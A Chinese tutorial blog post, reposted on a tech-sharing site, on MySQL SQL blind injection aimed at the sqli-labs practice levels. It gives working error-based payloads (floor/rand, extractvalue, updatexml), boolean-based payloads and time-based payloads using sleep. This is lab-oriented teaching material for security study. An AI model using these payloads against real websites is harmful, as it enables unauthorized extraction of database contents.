ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql盲注

2022-08-12 15:32:21  阅读:288  来源: 互联网

标签:xml database substr 报错 --+ sql 盲注 id


报错注入:适用于数据库报错会将报错信息带到页面
数据库名为test
①、floor报错注入
floor():向下取整,比如0.6返回0,1.1返回1
Rand():返回0到1的随机数
floor( RAND()*2):返回0或1
select count(*),CONCAT(database(),floor( RAND()*2))a FROM student GROUP BY a
需要count,floor( RAND()*2),和group by结合才会报错,用concat将数据带出
报错如下:Duplicate entry 'test0' for key '<group_key>'
报错原理:group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,
又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句执行后的结果。
限制:在mysql数据库高版本中floor报错不会将敏感信息带出
参考链接:https://blog.csdn.net/m0_60339103/article/details/125890455
②、extractvalue报错注入
extractvalue(目标xml文档,xml路径) :对XML文档进行查询的函数
select*FROM student WHERE id=1 AND extractvalue("anything",concat("~",database()))
报错如下:XPATH syntax error: '~test'
原理:通过在函数中写入不符合语法格式的xml路径达到报错的目的(比如写入~)
③、updatexml报错注入
UpdateXML(xml_target, xpath_expr, new_xml):更新选定XML片段的内容
xml - taeget:是我们需要操作的xml片段;
xpath -expr:和上面的一样,是需要更新的路径;
xml -xml:是更新后的的xml字段;
select*FROM student WHERE id=1 AND updatexml("anything",concat("~",database()),"anything")
报错如下:XPATH syntax error: '~test'
原理:通过在函数中写入不符合语法格式的xml路径达到报错的目的

布尔注入(适用于数据库能查询到数据和查询不到数据页面返回不同,但是数据不会显示在页面)
步骤:猜敏感数据长度,通过substr,regexp逐个逐个字符猜测,如果有多条记录,可以通过limit逐次返回一条记录
靶场:sql-lab第八关
left(str,len):从左往右截取指定长度的字符串,str为接收的字符串,len为截取的长度
示例:left('Hello World',3)结果为'Hel'
substr(str,pos,len):从起始位置截取指定长度的字符串,str为接收的字符串,pos为起始位置,len为长度。
示例:substr('Hello World',2, 3)结果为'ell'
regexp正则表达式
like模糊匹配

STRCMP(Str1,Str2)
如果
Str1=Str2:0
Str1<Str2:-1
Str1>Str2:1
ascii(str):
返回字符串中第一位的ascii值,str为接收的字符串。
示例:ascii('hello')结果为104,因为h的ascii值为104。
length(str)
ord(str)函数与其类似
?id=1' and length(database())=8 --+ 猜测数据库长度
使用like结合substr逐个判断字符
?id=1' and substr(database(),1,1) like 's' --+
使用等于结合substr来逐个判断字符
?id=1' and ord(substr(database(),1,1))=115 --+猜当前数据库第一个字段是不是's'
使用正则(regexp )结合substr逐个判断字符
?id=1' and substr(database(),1,1) regexp 's' --+
使用strcmp结合substr逐个判断字符
strcmp等于的时候为false,不等于的时候为true
?id=1' and strcmp(ord(substr(database(),1,1)),115) --+

使用使用limit和正则表达式猜测数据库第一张表是否以u开头
?id=1' and 1=(select 1 from information_schema.TABLES where table_schema="security" and table_name regexp "^u" limit 0,1) --+
left的使用
?id=1' and left(database(),8)="security" --+猜测数据库从左往右8截取的字符串是否为security

 

时间延迟注入(适用于页面不会显示数据,数据库报错也不会将报错信息显示到页面,查询的到数据和查询不到数据页面返回相同,但是可以通过函数将sql查询时间变长,页面响应变慢)
步骤:与布尔盲注类似,同样是猜敏感数据长度,通过substr,regexp逐个逐个字符猜测,如果有多条记录,可以通过limit逐次返回一条记录,但是由于页面没有变化,所以如果猜测结果可以用是否延迟来判断
利用函数:sleep()和benchmark(count,expr)。
BENCHMARK()函数是用来判断某个操作的运行性能,返回值一直是0。
expr是操作语句,count是操作次数。


靶场:sql-lab第九关
?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),1) --+
case when替换if
?id=1' union select 1,2, case when ord(substr(database(),1,1))=115 then sleep(5) else 0 end--+

?id=1' and case when ord(substr(database(),1,1))=115 then sleep(5) else 0 end--+
and或or替换if
?id=1' and ord(substr(database(),1,1))=115 and sleep(5) --+
参考链接:https://www.modb.pro/db/104064

 

标签:xml,database,substr,报错,--+,sql,盲注,id
来源: https://www.cnblogs.com/lzstar/p/16580140.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有